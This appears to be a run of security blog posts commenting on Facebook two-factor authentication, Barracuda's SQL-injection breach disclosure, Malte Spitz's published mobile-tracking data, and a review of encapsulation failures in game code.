Arturo Bejar, who used to lead the security team at Yahoo!, has revealed that Facebook has been struggling to prevent accounts from being hijacked.

We’re also starting to introduce Two Factor Authentication, a new feature to help prevent unauthorized access to your account. If you turn this new feature on, we’ll ask you to enter a code anytime you try to log into Facebook from a new device. This additional security helps confirm that it’s really you trying to log in.

First, it’s great to see Arturo writing publicly. Second, he leaves out details about the “code”. Will he advocate for the same “seal” system as Yahoo!, which was (I can explain, if you ask for details) begrudgingly modeled after financial services sites?

Here’s my suggestion. Facebook, unlike Yahoo! or the financial services sites, has a wealth of second-factor data to mine and manipulate for this system. The code could be represented as a six-by-six block of images from a user’s friends during login. It might look something like this image that I totally just invented from scratch and off the top of my head:

A user then has to correctly identify three people they know in the images by name in order to login (the other six are random). If they don’t recognize their own friends, they are denied access. Aha! Oh, wait, that would mean Facebook users would have to know the people they are “connected” to or have legitimate information in their profile…meh, nevermind.

Also, I noticed that Yahoo! now lets users login using a Facebook or Google ID. Facebook could also address this issue by requiring users to login using their Yahoo! or Google ID, since those sites both already offer two-factor authentication. I’m kidding of course. Google would never allow a user ID to be federated with Facebook.

I have to say I am impressed. Barracuda Networks has come forward on their blog with a simple and clear explanation for the breach — three basic mistakes in security management.

This latest incident brings home some key reminders for us, including that:

• You can’t leave a Web site exposed nowadays for even a day (or less)
• Code vulnerabilities can happen in places far away from the data you’re trying to protect
• You can’t be complacent about coding practices, operations or even the lack of private data on your site – even when you have WAF technology deployed

I agree with them 120%. That level of disclosure is commendable on its own as a sign of honesty and root-cause analysis. However what really impresses me is that they then recommend their product and end up with a very subtle sales spin. The breach analysis could be taken as an example of how to use a control to reduce the risk of security management mistakes.

The Barracuda Web Application Firewall in front of the Barracuda Networks Web site was unintentionally placed in passive monitoring mode and was offline through a maintenance window that started Friday night (April 8 ) after close of business Pacific time.

In other words the incident review suggests that their WAF would have blocked the attacks when configured properly. Don’t you want to buy a WAF now?

The breach is subtly boiled down to an “unintentional” decision to put control in maintenance/passive mode (OWASP Risk A6-Security Misconfiguration). It exposed their database to automated vulnerability scans from the Internet. They might have caught the vulnerability themselves if they had run the same scans earlier (OWASP Risk A1-Injection); or they might have prevented data exposure by keeping it better isolated and segmented. Both of these are covered in their announcement but at the end of the day they are selling WAFs. So it is interesting to hear in this context from them that their product could have blocked the blind SQL injection that caused their breach.

A German politician named Malte Spitz sued his mobile provider (Deutsche Telekom) for access to all the information they were storing on him. When they released the information to him he published six months of calls, texts and Internet usage on an interactive map. German law has since improved its privacy.

Meanwhile, other countries, including the United States, still track users via mobile phones as well as wireless accessories (e.g. BlueToad). Here is an example of what it looked like on Spitz’s map:

Deutsche Welle just posted an interesting interview with him.

Yes, it was quite shocking to see 35,000 pieces of information about my past six months. And it was also so detailed that there was some information where I was at some events that I didn’t even remember. So seeing the interactive visualization, I remembered: ‘Oh yeah, this was the day I was here and there, and so on.’

It was quite shocking because I thought it would be maybe 5,000 pieces of information. But 35,000 pieces of information, when you break it down, that means each day, there are 200 pieces of information. So if you have five to seven hours of sleeping time, so you have like, between the morning and evening, you have maybe 150 pieces of information – every five to 10 minutes my mobile operator knows where I am.

Gareth Rees posted an amusing and detailed review of encapsulation failures, in the context of mobile game apps.

When objects interact with each other, the outcome of events can depend on the properties of several objects. For example, when two objects collide the result depends on the properties of both objects. Consider collisions in a game with bullets, people, and tanks:

• Bullet/bullet: both unaffected (treat as if they didn’t collide).
• Bullet/tank: bullet ricochets, tank unaffected.
• Bullet/person: bullet vanishes, person damaged.
• Tank/tank: both tanks stop.
• Tank/person: person stops, tank unaffected.
• Person/person: both people stop.

You can coerce this kind of table of interactions into the straightjacket of single-dispatch method calls, but the results are pretty ugly however you do it. (It’s no coincidence that the main motivating example in Wikipedia’s multiple dispatch article is collision resolution.)

But there are more subtle examples where the naïve approach goes wrong.